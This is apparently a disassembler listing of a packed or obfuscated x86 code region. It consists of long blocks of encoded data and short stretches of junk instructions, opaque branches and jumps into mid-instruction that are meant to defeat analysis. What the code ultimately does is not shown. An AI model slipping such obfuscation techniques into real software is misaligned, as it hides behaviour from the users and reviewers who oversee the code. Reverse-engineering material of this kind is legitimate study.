		dd 40000000h, 0A043A039h, 0C67D0C6Dh, 7E9D9h, 6D030000h
		dd 24A0043Dh, 25BB66E8h, 5E919h, 0FEC0000h, 0E9A7ECD8h
		dd 5, 0BFCC8477h, 5E944h, 6C6D0000h, 0F359918h,	0F56FEB7h
		dd 586h, 0D8816600h, 0F58323Ch,	58Fh, 0E3816600h, 840F8475h
		dd 10h,	8E8h, 0E4490600h, 25F7E0D5h, 5F3AB3FDh,	79F3C781h
		dd 0E86011EEh, 14h, 1D438B54h, 0B3AA3A1Eh, 0BED8E139h
		dd 925C1DC9h, 7B541F0Eh, 0AE8h,	1C600h,	4DA24BBDh, 5E11C73Ah
		dd 8B66615Fh, 92C381C3h, 0F76283Fh, 0E181CEB7h,	57728BC3h
		dd 8E9F78Bh, 0CB000000h, 14A43B69h, 0B7DF7337h,	0BE9A8h
		dd 66250000h, 95417ADEh, 0BCB14652h, 0DE81661Dh, 870F465Eh
		dd 16h,	11E9h, 21BCB500h, 7B5528D2h, 0AAB7AEE8h, 2DEFE4Eh
		dd 8B66F2A0h, 10E9D6h, 0D260000h, 0B13ED15Dh, 184FA404h
		dd 2EA333E2h, 2BE7B09h,	0E91EAB79h, 0Ah, 93BB7F78h, 0E35A9CCCh
		dd 0C1812ADCh, 690F8330h, 0F862CB80h, 0E9FFB70Fh, 10h
		dd 5A310FBBh, 70B24566h, 8D13E011h, 169B1099h, 0DA8B6651h
		dd 0F8D2815Bh, 66059763h, 0EC04C081h, 0AE8h, 657F6200h
		dd 3F70009Eh, 5A8F3B4Ah, 11E8h,	6012EF00h, 77BF357Bh, 0A5D3EA1Dh
		dd 4AD622B3h, 0BE66789Ch, 0F95FDD7Eh, 2800Fh, 0EFB20000h
		dd 0FFBF0F60h, 0DE9h, 4E7B300h,	0CBFC3E02h, 23281070h
		dd 0E961609Fh, 0Eh, 4A73228h, 8A9A2542h, 0B81C8BAFh, 0B70F33E7h
		dd 0AE9C0h, 51F0000h, 0C618759h, 410B5931h, 81A3CF80h
		dd 892315DAh, 0D6B70F33h, 0BF0FF98Bh, 8124B7CFh, 511480E3h
		dd 10BE661Dh, 0FE9FC37h, 0DB000000h, 0A0BA16A8h, 89B37Ah
		dd 7DB51F75h, 0F081D3B5h, 7341C339h, 0B438BBF9h, 5E94AC4h
		dd 27000000h, 0B0A6F665h, 0D839B866h, 0E76BBF66h, 0FF18BFCh
		dd 28Ah, 0F924B100h, 0B358CA80h, 0BF0FF8E9h, 2DB960F2h
		dd 0E9302204h, 0Dh, 42AA63F6h, 289700DBh, 3453160h, 8B66619Eh
		dd 8E9D7h, 48980000h, 5D64DB66h, 816606E2h, 66E53AE1h
		dd 56F6F6BBh, 0CFB70F60h, 0DA7918BEh, 0F55A6132h, 52C18166h
		dd 7E93Fh, 947E0000h, 611AEB23h, 9E929h, 9CBF0000h, 4DAD58DFh
		dd 66181CEBh, 0C496F381h, 1316B866h, 0E5EBE181h, 0BF662AEEh
		dd 0CE9FCFCh, 0C7000000h, 1EF0B7C4h, 0DE112697h, 0F9A9DF33h
		dd 0B4B91EB3h, 817EE0A7h, 0FB96CAEEh, 0FF1CB82Fh, 0E7B85A20h
		dd 663FD8D0h, 66BD3EBEh, 218EC281h, 24F18166h, 0E68166CCh
		dd 0F50DE06h, 0E959FBB7h, 5, 0C6B30956h, 8B97B6A7h, 0BA2FB0F2h
		dd 274411EDh, 13E8h, 0FE719300h, 0D080959Fh, 0AEF161D2h
		dd 8AC03EFEh, 3487B6FDh, 5BF88B66h, 28A0Fh, 0E38A0000h
		dd 0B1AFCF81h, 54B76310h, 7C4CBB66h, 91C8B966h,	0A6F28166h
		dd 97BA66F3h, 60FB8BD9h, 0BEBE66F9h, 5E8612Dh, 0D1000000h
		dd 2733A64Bh, 5AD9BF0Fh, 1E0CBF66h, 0E9C1BF0Fh,	5, 0F572C3Ah
		dd 10E89Dh, 0F6270000h,	28E7C7F0h, 27843010h, 0DABE4B49h
		dd 0F081400Ch, 272FDDE9h, 0EE958h, 0F55E0000h, 0D7B95Eh
		dd 62ED2FB3h, 99F22C67h, 0CE9h,	0BBB89000h, 0CF9CCF4Ah
		dd 9559D35Eh, 6659571Ah, 11E9C18Bh, 45000000h, 43A03940h
		dd 7D0C6DA0h, 65BCD9C6h, 0E633B7FDh, 0E7E98166h, 14E847h
		dd 88570000h, 7FBA8FC7h, 9451354Dh, 5B9496BCh, 400F64BDh
		dd 0E5B7F723h
		dd 5387B25Ah, 7272EA81h, 0F5F206Ch, 800FD9BFh, 1, 0E7BE66FCh
		dd 0DD8BEC0h, 0F98B2F18h, 0B866BB60h, 816609EEh, 61B599E9h
		dd 81D2F780h, 58DCC5CAh, 0DE805345h, 5B525B9Bh,	11E8h
		dd 803D5100h, 0D90A7DE8h, 1DA51D68h, 0DF8A140h,	9E97C6Fh
		dd 55000000h, 0CAF145EFh, 0B474BD6Bh, 0B195B65Bh, 66DE8B45h
		dd 663C0EBFh, 0D4BBDF8Bh, 0E85B8B80h, 14h, 0C48786EBh
		dd 0CD53D9F7h, 0ADED90F2h, 120319D0h, 3432EF2Ch, 5EFED080h
		dd 0B4D68B66h, 0EB23BAC4h, 0B8572BC3h, 20C7D0D5h, 0F222BF5Fh
		dd 0E956304Dh, 14h, 25E35959h, 88234311h, 42DD6DA3h, 0E74C9644h
		dd 0CA3C8997h, 8AE78A5Ah, 0CE9FCh, 9C5C0000h, 0D13D28CAh
		dd 9728549Eh, 8B664280h, 6E9CEh, 5DCF0000h, 5929112Bh
		dd 0A97F73BAh, 71E18105h, 0BA34688Ah, 5260A581h, 0FC18BFCh
		dd 384h, 0D18B6600h, 0D5D18166h, 8E0F0Fh, 80000000h, 66FC29C2h
		dd 0A202CA81h, 0F0BF0F60h, 7E8h, 0E0D65800h, 757016EEh
		dd 5E8h, 6FDDE800h, 5E5AEE4Ch, 0D6816661h, 8E98726h, 0A4000000h
		dd 0C2B63E7Ch, 8ADD733Dh, 66D58AF5h, 0FB8BC38Bh, 0E850Fh
		dd 9E90000h, 61000000h,	0C41DC173h, 4BA940D5h, 0F68167B0h
		dd 53A3CD2Dh, 12E8h, 0EC02200h,	4FAB25DDh, 0C05436B9h
		dd 23D22A40h, 0F6B1089h, 387h, 0C28B6600h, 0DE85Eh, 0DAA50000h
		dd 3CFA52A1h, 8C1E172Dh, 0F841A496h, 3810F5Ah, 0F000000h
		dd 820FC3B7h, 8, 2870Fh, 0DA8B0000h, 0DEB904B0h, 8A71B511h
		dd 830FE5h, 0F000000h, 38Eh, 0C7B70F00h, 0C88B60F5h, 0F2D68161h
		dd 6675A26Eh, 0E9EB2AB9h, 0Ch, 3C80D107h, 526C7F93h, 0C7B63D17h
		dd 1467E981h, 12E80D26h, 42000000h, 0A9B39A64h,	0A4F7A934h
		dd 507CB6D0h, 58EA802Fh, 605BFCCEh, 2C88E081h, 8E85FE1h
		dd 0F5000000h, 3514B261h, 53385E12h, 8B615858h,	10E9F1h
		dd 19390000h, 0D476C12Ah, 1515BDD2h, 45BE3C3Dh,	0E9F5AA9Ah
		dd 0Fh,	6B1210DAh, 0F671BA5h, 3DFC382Dh, 66ED015Dh, 8A1C56BFh
		dd 11E9E2h, 0C34B0000h,	0B2F0DB92h, 739B10Dh, 0DFB3B0D3h
		dd 60986F29h, 9E956h, 0B840000h, 0EE8780C2h, 5F14A9D3h
		dd 8E0Fh, 0B9610000h, 478DF623h, 0EED0E981h, 6657551Fh
		dd 0DDD4E081h, 0EC8A515Fh, 4CE3805Ah, 66CFBF0Fh, 8B66CB8Bh
		dd 9E8D1h, 69040000h, 0D026640Eh, 0F87A7D18h, 0DE95Ah
		dd 0DABB0000h, 1F035467h, 40A54E33h, 0F43F459h,	284h, 0BE32B200h
		dd 1A5450Ah, 0B20EBA60h, 57613F3Ch, 38A0Fh, 0F6800000h
		dd 880F5E33h, 0Bh, 58A0Fh, 17BE0000h, 6663DD5Ch, 46B9C781h
		dd 0E953F08Bh, 7, 9FF87342h, 5ECE6FEFh,	810Fh, 840F0000h
		dd 13h,	0CE953h, 4A940000h, 144C7DE2h, 32345CBFh, 0E95A50DBh
		dd 9, 0A14F9B2h, 4262D6CAh, 11E9E3h, 89850000h,	482400D2h
		dd 92CA2E72h, 0B904F4BCh, 529DA60Dh, 13E8h, 4A5B7B00h
		dd 0ED99A0EFh, 0D35BC25Ch, 0D1339884h, 0C974A0B4h, 0BE8h
		dd 23BCEF00h, 59FDFF53h, 35DFEF0Fh, 8A5E5F5Eh, 0B866FEh
		dd 0C3B70FABh, 0F38B66F8h, 0D78BD48Ah, 325968B9h, 6E922h
		dd 7C800000h, 8BD577Ah,	128D0Fh, 8C0F0000h, 0Ch, 7E9h
		dd 67FCFA00h, 0B614C5D6h, 860Fh, 0D6810000h, 75917454h
		dd 81F6B70Fh, 45DF1F1h,	602EB322h, 7E8CE8Bh, 0D3000000h
		dd 0F6D666ADh, 8B6681D1h, 0E9615AF3h, 7, 0D7734F85h, 56D2434Ah
		dd 12B9665Bh, 0CE9CFh, 65440000h, 5772B3F5h, 21B59BC5h
		dd 0F08B0409h, 60C1BF0Fh, 0FF78B66h, 6661DFB7h,	0BE66F88Bh
		dd 0DE9AB48h, 42000000h, 80E3DEC1h, 0D633271Eh,	253CB259h
		dd 76AE381h, 840F4F66h,	4, 44B9B966h, 6E9h, 55D63700h
		dd 0BFC98899h, 76645B91h, 5E9h,	0A751E600h, 0F381063Dh
		dd 2632CCBEh, 0A117C3BAh, 0BE821h, 707C0000h, 362C6BFBh
		dd 0A7BFFE1h, 5BDE8A97h, 28E0F51h, 8A000000h, 8B6659D1h
		dd 8E8F8h, 19B50000h, 0B4EA17Eh, 0E95BBFBCh, 0Fh, 0E35BB2FEh
		dd 0A98B4AAFh, 0A948819Ch, 0F6CD383h, 1B8Eh, 158D0F00h
		dd 0E8000000h, 0Fh, 0CB1B6DFh, 0B2652B61h, 0B8FC4550h
		dd 5A307FC7h, 12E9h, 0B8166600h, 50D833D1h, 5FFE31EBh
		dd 1F2BB3BCh, 0E98786EBh, 10h, 54BB6279h, 67EC9877h, 1C28E3C6h
		dd 2C49DEA7h, 13E8h, 0A502D500h, 5055478Ch, 0FF7E2FAEh
		dd 66FD73Eh, 0EA56D3EDh, 58D2B70Fh, 890BBB66h, 6890Fh
		dd 53600000h, 61616058h, 8E9h, 696BA600h, 7074199Bh, 0F3816603h
		dd 8166778Dh, 8183D2EAh, 0AEDCC0F6h, 1830F45h, 0FC000000h
		dd 5830F53h, 66000000h,	9EF6DF81h, 3B29BF5Bh, 66F953A0h
		dd 0CA56E881h, 8AD3BF0Fh, 3BA66CBh, 0EE9E1h, 76F10000h
		dd 0D5691D84h, 8C8F4953h, 7B650AB1h, 60518CB4h,	9E9h, 8569ED00h
		dd 1580C094h, 0B70FD67Ah, 605F61F7h, 0E9FE8B66h, 0Dh, 4E091B57h
		dd 38751BA3h, 2CDF90F4h, 8160614Ah, 8EBB19C9h, 59EF814Ah
		dd 611E8544h, 0FEFD580h, 0B70FC8B7h, 0C38B66D7h, 774C081h
		dd 9E84A49h, 41000000h,	0B59DA11Fh, 45A5D573h, 8B58FC8Ah
		dd 0DE8F1h, 0AFD80000h,	0B9DCE8A9h, 0D8FBDFF5h,	53240F08h
		dd 6E95A5Ah, 6A000000h,	1CFE9CD0h, 0DE8BDh, 0EFD80000h
		dd 5580008Eh, 99D49363h, 0FB05BE9h, 387h, 0F18B6600h, 0FEBE665Fh
		dd 0DEBF660Dh, 0D26B9A2h, 5E90648h, 0DC000000h,	0EAB2E741h
		dd 0DE8h, 55430300h, 14984F24h,	31F11A9Bh, 5FF52404h, 8D0FEF8Ah
		dd 3, 52CF8B66h, 0AE9h,	47A8F200h, 0A0C26B21h, 5FA1DDB2h
		dd 0FCE8B66h, 68Ch, 58CA8100h, 8145F6E0h, 0BDA8F6C2h, 0EAB86679h
		dd 6651B5F7h, 0E89BC5BBh, 11h, 8E8E55CDh, 0B72874B1h, 0E2D40674h
		dd 0C00ECD17h, 14E93Ah,	2E560000h, 599ACA26h, 7C70A72Eh
		dd 7D3108CAh, 5C1C8F59h, 0E95E4863h, 8,	73830906h, 0A2F699CBh
		dd 51A8D080h, 28F0Fh, 66B40000h, 8166F85Eh, 0F58E20D1h
		dd 13C7BF66h, 14E9h, 141CC700h,	0CD94700Fh, 7DDA899Dh
		dd 0B703ECB4h, 9D586F69h, 11E8A6h, 0BE150000h, 50234BFCh
		dd 0A97FF60Ch, 0F9AD2C18h, 0E8CEF6DDh, 0Fh, 84EAB453h
		dd 0E5742C11h, 2D26ABD6h, 0E894AD29h, 0Bh, 0F7D17448h
		dd 38A20C5Ch, 5A71DF4Bh, 0C0815A5Ah, 5BC51E60h,	8E9h, 4DDA7900h
		dd 0B3B56E2h, 0D3B70F8Bh, 80FCEA8Ah, 51535CD0h,	5B5954B3h
		dd 0FAB6F28Bh, 8BF38B66h, 70C281C8h, 66362D14h,	0F08BD78Bh
		dd 0FF98B66h, 1F84h, 0CE800h, 60500000h, 27E5A789h, 489E9DC0h
		dd 8E94ABCh, 15000000h,	0D1D9259Bh, 5FBFF2E2h, 0FFA8B66h
		dd 1489h, 0FE900h, 460F0000h, 2F96F914h, 0DD03B236h, 1F9A08h
		dd 2810F2Bh, 8B000000h,	0E8FE8BF8h, 0Bh, 0E42EC420h, 53170830h
		dd 0F65A233h, 28Fh, 5F616000h, 18E0Fh, 8BF50000h, 0CE9F9h
		dd 53000000h, 0CBB785CAh, 0CFFFD56Dh, 0FCB5BA7Bh, 7E86060h
		dd 4000000h, 7C9784Fh, 0E95BA2A3h, 0Dh,	0A6FC2B52h, 0B919F62Eh
		dd 9E10D608h, 0BE666145h, 5161F8E1h
		dd 2298BB66h, 0DE85Fh, 0F9C30000h, 0BB2A5B1Bh, 0E37482DCh
		dd 661449D6h, 58838EB8h, 5994B651h, 0E9F860FCh,	10h, 0D20702AFh
		dd 0A1418EDEh, 0EE85CB2Fh, 1F2FB561h, 13810F61h, 0E8000000h
		dd 0Ah,	778B887Bh, 0A4B60819h, 0B70F1361h, 50B55ACEh, 0CE9h
		dd 557A8A00h, 9CE8E95h,	3D35C1DBh, 10E99Ch, 0EA380000h
		dd 0F58E0AA0h, 0AAA7380Eh, 6E89A91Eh, 60F9976Fh, 96CCD281h
		dd 13E9321Eh, 78000000h, 4149BD9Eh, 5BDB5BCAh, 26BE1EAh
		dd 0DAF1B56Bh, 816186D5h, 417CBFE2h, 61605349h,	18F1815Fh
		dd 600C55ECh, 9786B866h, 70EB8166h, 0BE96161h, 0B9000000h
		dd 74D5C0AFh, 75FDC3ECh, 8166AC6Ah, 0E88382F2h,	0Fh, 3500499Ah
		dd 0B748CFB6h, 184A0A94h, 5EBC2317h, 3870Fh, 8B660000h
		dd 61F960C1h, 0BBF98B66h, 78A05989h, 11E8h, 0EB05800h
		dd 830ECE4Dh, 0C6CEF54Eh, 0F82122D4h, 13E9208Dh, 0A1000000h
		dd 669F797Eh, 90B2A570h, 946B632Dh, 999C219Eh, 6659D7A1h
		dd 66829BB9h, 44ABDE81h, 18D0Fh, 50F90000h, 0F59DE8Ah
		dd 680h, 9DB36000h, 8A616160h, 13E9EEh,	916B0000h, 0C8AAE19Bh
		dd 4DE4415Bh, 0A263AE3Ch, 22108AF5h, 9E9C5h, 0DA490000h
		dd 79EE2DBDh, 0B31B00AFh, 6E9AFh, 9AA40000h, 9393B073h
		dd 0E9F28B66h, 11h, 0A562CB46h,	0D457FBACh, 0EB115DCDh
		dd 0CCA4F320h, 0D2BF0F5Fh, 3810Fh, 8B660000h, 58E0FF1h
		dd 66000000h, 0E098C781h, 4F02B951h, 81583E0Bh,	0FA4CB1D6h
		dd 0B70F566Dh, 8CBA59D2h, 665922FCh, 618DC381h,	0F19601BEh
		dd 0F0CD8065h, 0E856F8F5h, 0Fh,	978AD21Bh, 0EAA1C2F2h
		dd 0CB20936Fh, 81E862B4h, 0EEFBD7D3h, 605A5A43h, 11E8h
		dd 6D671900h, 616C04B9h, 2DF1FE8Bh, 8BAC15BAh, 0B70F3A5Bh
		dd 9E85BF9h, 7F000000h,	7CC35D77h, 10303C2Fh, 0FE96158h
		dd 54000000h, 87F8CB84h, 0EBD625D6h, 274FF94Fh,	8166A66Ah
		dd 0E8B669EAh, 13h, 16BC149Bh, 4AF3D46h, 9E815A0Ah, 97818584h
		dd 813414B3h, 84B861CEh, 8160594Bh, 0F78649F0h,	61E1B245h
		dd 10E8h, 0ACF4A400h, 0A29F058h, 166CC3CDh, 7F5E4376h
		dd 8A0F5A01h, 0Fh, 6E8h, 0A79C2700h, 0F333B5Eh,	0F558F0BFh
		dd 8F0FC28Bh, 10h, 7E960h, 0E7800000h, 3894BDCBh, 616160FDh
		dd 0CAB70FFCh, 42B49CB3h, 4850Fh, 57570000h, 81665E5Fh
		dd 80A811EFh, 0C28171CEh, 7D72E365h, 6E8h, 0A7824100h
		dd 60CE6814h, 5E8CDB2h,	8F000000h, 7AEB82Dh, 0FC5E615Bh
		dd 0DE953h, 0A9D70000h,	81B57BE0h, 3EBBBC27h, 5E1329FBh
		dd 14E9h, 6B85500h, 0FBDE4950h,	7CCAB889h, 0E868DEE4h
		dd 6E8A395h, 11800F00h,	0E8000000h, 7, 3B28D89Bh, 66909495h
		dd 5AF305BBh, 5EE28A51h, 2840Fh, 0D18A0000h, 11870Fh, 0CE90000h
		dd 3C000000h, 0B73D9EF8h, 6186ADF3h, 66D99D5Dh,	66F9D88Bh
		dd 8E9F18Bh, 9000000h, 0D2A678E6h, 808EDC67h, 0FFCA9EBh
		dd 148Dh, 0FE900h, 39700000h, 2FA40F0h,	0AA753DA4h, 4D355184h
		dd 0B5EAB883h, 0F602CD8h, 38Bh,	0C28B6600h, 2890F61h, 0B7000000h
		dd 53D2811Dh, 660BAD4Ah, 5E9C18Bh, 1000000h, 0D122648Ah
		dd 0FFFB70Fh, 38Ch, 0F6B70F00h,	0B966E88Ah, 0F7814059h
		dd 33A1051h, 0DD80F18Bh, 0F1B70F7Fh, 8E8h, 69F80D00h, 440961FAh
		dd 0C38B6657h, 0F081605Fh, 534FA5C1h, 0EE9h, 0B29ABD00h
		dd 0A76CC2FFh, 33EF33EEh, 616E069Eh, 3800FF9h, 80000000h
		dd 0BF0FD8DBh, 0CE8F2h,	0EAED0000h, 3BB5D503h, 0C3B4CA60h
		dd 8B663FC5h, 0D2815BF9h, 5DC9E474h, 2860F60h, 57000000h
		dd 6061F55Ah, 8161F9F8h, 0F2FB50E2h, 0C2EA802Eh, 1850Fh
		dd 60F50000h, 5840Fh, 81660000h, 60C191C2h, 0AE9h, 0BA861400h
		dd 506430B0h, 0F7EBE87h, 88h, 0F8616100h, 0EE9h, 41683D00h
		dd 7C01EAFBh, 29D36EE5h, 8001A1DBh, 0D281F5C8h,	2272C27h
		dd 0DE9CA8Bh, 58000000h, 0A04B8B3Ch, 422F62A5h,	71DC20EEh
		dd 0D88B6653h, 0B70F605Fh, 8B0F50D6h, 0
; ---------------------------------------------------------------------------
		pop	eax
		popa
		push	esi
		movzx	ecx, si
		pop	edx
		js	loc_5D82F7
		add	ecx, 347AD11h


loc_5D82F7:				; CODE XREF: ud2_____:005D82EBj
		mov	si, bx
		mov	cx, 3285h
		xor	ax, 0C1E9h
		mov	ebx, 2306A5Ch
		push	edi
		xor	ax, 214Dh
		pop	esi
		mov	edx, edi
		mov	al, 0C5h
		stc
		jb	loc_5D832E
		jmp	loc_5D832E
; ---------------------------------------------------------------------------
		db 13h
		dd 0A345114Fh, 3FB57158h, 9C5DC6B9h
		db 0F5h, 64h
; ---------------------------------------------------------------------------


loc_5D832E:				; CODE XREF: ud2_____:005D8314j
					; ud2_____:005D831Aj
		jmp	loc_5D8347
; ---------------------------------------------------------------------------
		db 0B3h
		dd 1734BF7Ch, 0FA616DDFh, 0E44D7C29h, 1541FA49h
		db 81h,	87h, 19h
; ---------------------------------------------------------------------------


loc_5D8347:				; CODE XREF: ud2_____:loc_5D832Ej
		jp	loc_5D834F
		mov	dl, bh


loc_5D834F:				; CODE XREF: ud2_____:loc_5D8347j
		jmp	loc_5D835C
; ---------------------------------------------------------------------------
		or	eax, 0D217F168h
		push	cs
		pop	edi
		dec	esp


loc_5D835C:				; CODE XREF: ud2_____:loc_5D834Fj
		sub	ax, 9FFCh
		mov	si, 87E6h
		stc
		call	near ptr loc_5D8378+1
		pop	esi
		aad	0E2h
		push	cs
		das
		fiadd	word ptr [ecx-6Fh]
		xchg	eax, ecx
		inc	ecx
		inc	edx
		inc	eax
		pushf


loc_5D8378:				; CODE XREF: ud2_____:005D8366p
		mov	fs, word ptr [esi-75h]
		rcr	dword ptr [esi+66h], 1
		mov	eax, esi
		pusha
		pusha
		clc
		popa
		popa
		jno	loc_5D8391
		jb	$+6


loc_5D8391:				; CODE XREF: ud2_____:005D8385j
		push	eax
		cmc
		pop	ebx
		add	cx, 4314h
		jmp	loc_5D83AB
; ---------------------------------------------------------------------------
		dw 4024h
		dd 0A518682Eh, 0E9ED14AAh
		db 57h,	22h, 52h
; ---------------------------------------------------------------------------


loc_5D83AB:				; CODE XREF: ud2_____:005D8399j
		mov	bh, dl
		mov	ebx, 3B044F4Fh
		movsx	esi, dx
		call	near ptr loc_5D83BE+1
		jnb	short near ptr loc_5D83E1+1
		in	eax, 70h	; CMOS Memory


loc_5D83BE:				; CODE XREF: ud2_____:005D83B5p
		sub	cl, [edi]
		mov	bh, 0D7h
		pop	ecx
		pusha
		jno	loc_5D83D0
		sbb	ebx, 2408B9D7h


loc_5D83D0:				; CODE XREF: ud2_____:005D83C4j
		mov	ecx, 47BF6857h
		popa
		or	di, 252h
		jnp	loc_5D83F1


loc_5D83E1:				; CODE XREF: ud2_____:005D83BAj
		jmp	loc_5D83F1
; ---------------------------------------------------------------------------
		dw 914h
		dd 15F632D1h, 10157690h
		db 87h
; ---------------------------------------------------------------------------


loc_5D83F1:				; CODE XREF: ud2_____:005D83DBj
					; ud2_____:loc_5D83E1j
		call	near ptr loc_5D8407+1
		in	eax, dx
		mov	eax, 83851EEEh
		punpckhwd mm2, qword ptr [edi-659E7235h]
		into
		pop	ebp
		adc	al, 0CEh


loc_5D8407:				; CODE XREF: ud2_____:loc_5D83F1p
		test	dword ptr [ecx+7C840ECEh], 0FC605B2Fh
		js	loc_5D842B
		jmp	loc_5D842B
; ---------------------------------------------------------------------------
		mov	esp, 0D0AAD96Ch
		pop	esp
		xlat
		dec	ebp
		sbb	eax, 0F913CC38h
		dec	ebx
		push	cs


loc_5D842B:				; CODE XREF: ud2_____:005D8411j
					; ud2_____:005D8417j
		popa
		jmp	loc_5D843B
; ---------------------------------------------------------------------------
		rcr	dword ptr [esi], cl
		nop
		fst	dword ptr [esi]
		stc
		jo	short loc_5D8497
		mov	es, cx


loc_5D843B:				; CODE XREF: ud2_____:005D842Cj
		jmp	loc_5D844B
; ---------------------------------------------------------------------------
		dd 0D7450D1Eh, 9649183Ch
		db 0BFh, 0AEh, 1Ch
; ---------------------------------------------------------------------------


loc_5D844B:				; CODE XREF: ud2_____:loc_5D843Bj
		mov	eax, edx
		jmp	loc_5D8459
; ---------------------------------------------------------------------------
		dw 0D5CEh
		dd 8D3374D2h
		db 0B9h
; ---------------------------------------------------------------------------


loc_5D8459:				; CODE XREF: ud2_____:005D844Dj
		jmp	loc_5D8466
; ---------------------------------------------------------------------------
		dw 0E2CDh
; ---------------------------------------------------------------------------
		setalc
		or	ah, [edx-20h]
		cli


loc_5D8466:				; CODE XREF: ud2_____:loc_5D8459j
		pusha
		jz	loc_5D8471
		mov	dx, 0A1E7h


loc_5D8471:				; CODE XREF: ud2_____:005D8467j
		popa
		call	near ptr loc_5D8489+1
		mov	eax, 2B6499B9h
		fisub	word ptr [ebp+71F3710h]
		test	eax, 293350F0h
		jnp	short near ptr loc_5D8492+3


loc_5D8489:				; CODE XREF: ud2_____:005D8472p
		mov	bl, 0Fh
		mov	bh, 0DBh
		pop	esi
		push	eax
		mov	edx, edi
		pop	edi


loc_5D8492:				; CODE XREF: ud2_____:005D8487j
		jmp	loc_5D84A2
; ---------------------------------------------------------------------------


loc_5D8497:				; CODE XREF: ud2_____:005D8437j
		rcl	byte ptr [edx-66531C96h], 91h
		sbb	[edx+42h], edx
; ---------------------------------------------------------------------------
		db 0F3h
; ---------------------------------------------------------------------------


loc_5D84A2:				; CODE XREF: ud2_____:loc_5D8492j
		clc
		mov	ah, 0ACh
		mov	dx, ax
		mov	ch, 0BBh
		push	eax
		or	bh, 66h
		pop	eax
		jmp	loc_5D84C5
; ---------------------------------------------------------------------------
		dd 3BD6B5BEh, 4F89588Bh, 7CF54437h
; ---------------------------------------------------------------------------
		sbb	[edi], edx


loc_5D84C2:				; CODE XREF: ud2_____:005D84E2j
		sub	bl, [edi+48h]


loc_5D84C5:				; CODE XREF: ud2_____:005D84AFj
		cld
		or	ebx, 69D72835h
		mov	cx, di
		call	near ptr loc_5D84E6+2
		daa
		cli
		mov	edi, 2383B9A2h
		dec	eax
		mov	esi, [edi-156678FFh]
		ja	short loc_5D84C2
		ftst


loc_5D84E6:				; CODE XREF: ud2_____:005D84CFp
		and	eax, 0AE9CCh
; ---------------------------------------------------------------------------
		db 0
		dd 878C6500h, 5C5A07BAh, 58856741h, 28F0F60h, 8B000000h
		dd 97BF66CEh, 0D580611Fh, 0BB665195h, 0F5599EACh, 0B8CAD680h
		dd 22628481h, 0ABF68166h, 13E83Ah, 62A20000h, 0CA38BB56h
		dd 296DD7FCh, 0BD6AECEDh, 7793D43Dh, 59F48A91h,	13E9h
		dd 67CA4500h, 62EC2544h, 4756C630h, 2C013A8Fh, 23B06384h
		dd 0E280D78Bh, 12E92Dh,	0E8B20000h, 0A939AB7Fh,	3CF73102h
		dd 0EF1687B8h, 47C55B7Ch, 0F28B6653h, 0DB816658h, 0F28B8138h
		dd 8AD0BF0Fh, 0C3F280F8h, 9E9h,	0B76F8E00h, 0C65A5B5h
		dd 0DC8A54F5h, 0D8F0Fh,	0E9530000h, 6, 0FC345675h, 0F5F9719h
		dd 188h, 8B66FC00h, 0D18166F9h,	0EE9095Bh, 6E000000h, 520E6FAFh
		dd 25BE1C91h, 7CCBE80Eh, 38D0F97h, 66000000h, 6E9D78Bh
		dd 7F000000h, 0FD977B4Ah, 81FB8BE1h, 0FFCBF5E8h, 0F081F533h
		dd 1F31A934h, 6634C580h, 0FE8BC38Bh, 0FE8h, 0B5A1C700h
		dd 0C389F46Fh, 14FAFAC8h, 5F73B7BDh, 178B0Fh, 12E90000h
		dd 0D3000000h, 10296676h, 0CDB944CBh, 3728F4F0h, 4E1DF3A7h
		dd 0D08B586Fh, 8E9h, 47F77200h,	0D2AFD96h, 0CAB70F19h
		dd 0CA80F48Ah, 60F18BE5h, 8BC1B70Fh, 0DB8161FEh, 74484137h
		dd 66F08B66h, 0D3E2E781h, 7FEB80FCh, 0F8CF8B66h, 68D0Fh
		dd 0E9810000h, 0E5E4305h, 0D08BEF8Ah, 0F2B70FFCh, 0B2F3BF0Fh
		dd 1820F29h, 0F9000000h, 0D98166h, 66D78B98h, 0B966C68Bh
		dd 0BF0F0211h, 8BA0B3D3h, 8E0FF7h, 66000000h, 547FEB81h
		dd 0D681F8F9h, 3AE37413h, 0AE9D5B2h, 94000000h,	860D9980h
		dd 0C8B1BAC1h, 0C88B6688h, 0F0B670BBh, 0C88B6664h, 0EE9h
		dd 60158600h, 0FFC98064h, 64E25B53h, 0E9D0883Ah, 0Dh, 11DA75EDh
		dd 9B8E58AAh, 6716CFE4h, 4820FC0h, 66000000h, 0E91E6DB8h
		dd 0Bh,	0ECCF9A58h, 3094F54Ch, 66217458h, 0F180C78Bh, 21CC808Ch
		dd 800Fh, 0D9810000h, 2E22829Ah, 770BEF81h, 0BF603643h
		dd 7C26AC34h, 800Fh, 60610000h,	0BA66EC8Ah, 6661590Dh
		dd 358DD181h, 7E8h, 0AF39C900h,	1DAB0340h, 5850Fh, 81660000h
		dd 582181F6h, 14E9h, 0DF58D100h, 163113E4h, 5437DFE1h
		dd 59DEF793h, 0BC6D50AAh, 0CFB70F39h, 1B860Fh, 0E9600000h
		dd 14h,	8FB77926h, 0D715E72Ah, 0B1104F0Ch, 0FDC75646h
		dd 9A87AC51h, 0EB60B861h, 0E8604F38h, 0Fh, 0C9B33A11h
		dd 0E4D2E5F8h, 0B145AFA4h, 5A679661h, 4FD762B8h, 8B66617Ch
		dd 2850FF9h, 8B000000h,	0A497B9D8h, 0FE95A11h, 39000000h
		dd 0C05297EAh, 9ACB9E5Eh, 0C8FC970h, 9E9D7E7h, 41000000h
		dd 9F82DCFh, 2FB9C6DDh,	0EE81D38Ah, 65367FCDh, 0E9F920B1h
		dd 8, 0E235E4A9h, 20D2E9AEh, 0CE9FCh, 766A0000h, 729E47AFh
		dd 4AED4794h, 8C0F4541h, 3, 66C3B70Fh, 8B66CB8Bh, 0BE8D6h
		dd 0B97F0000h, 0CB2EB586h, 6F73470Ah, 0D08B6682h, 0E8F0F5Eh
		dd 0E9000000h, 9, 6232A5F0h, 0DC4570C6h, 0DBBF0FE4h, 8B56F98Bh
		dd 8E0F5BD8h, 3, 0FCFB70Fh, 8A0FFEB7h, 4, 9A59B966h, 0D7BF0FF9h
		dd 6E9h, 0DD58AF00h, 66EFBA9Fh,	64F0E881h, 0F08BB6B6h
		dd 0CE8h, 1812F700h, 2B98CC4Fh,	64E49242h, 0EE959D4h, 4000000h
		dd 0E48766BCh, 37CB913Bh, 0D0A59EF0h, 4810FC1h,	66000000h
		dd 0F9A51B8h, 58Fh, 0F3816600h,	6E8E5CAh, 52000000h, 490872EAh
		dd 0C6B70FA6h, 82DA805Fh, 0F1D08166h, 0E9E88A5Fh, 6, 0CDFE2F2Eh
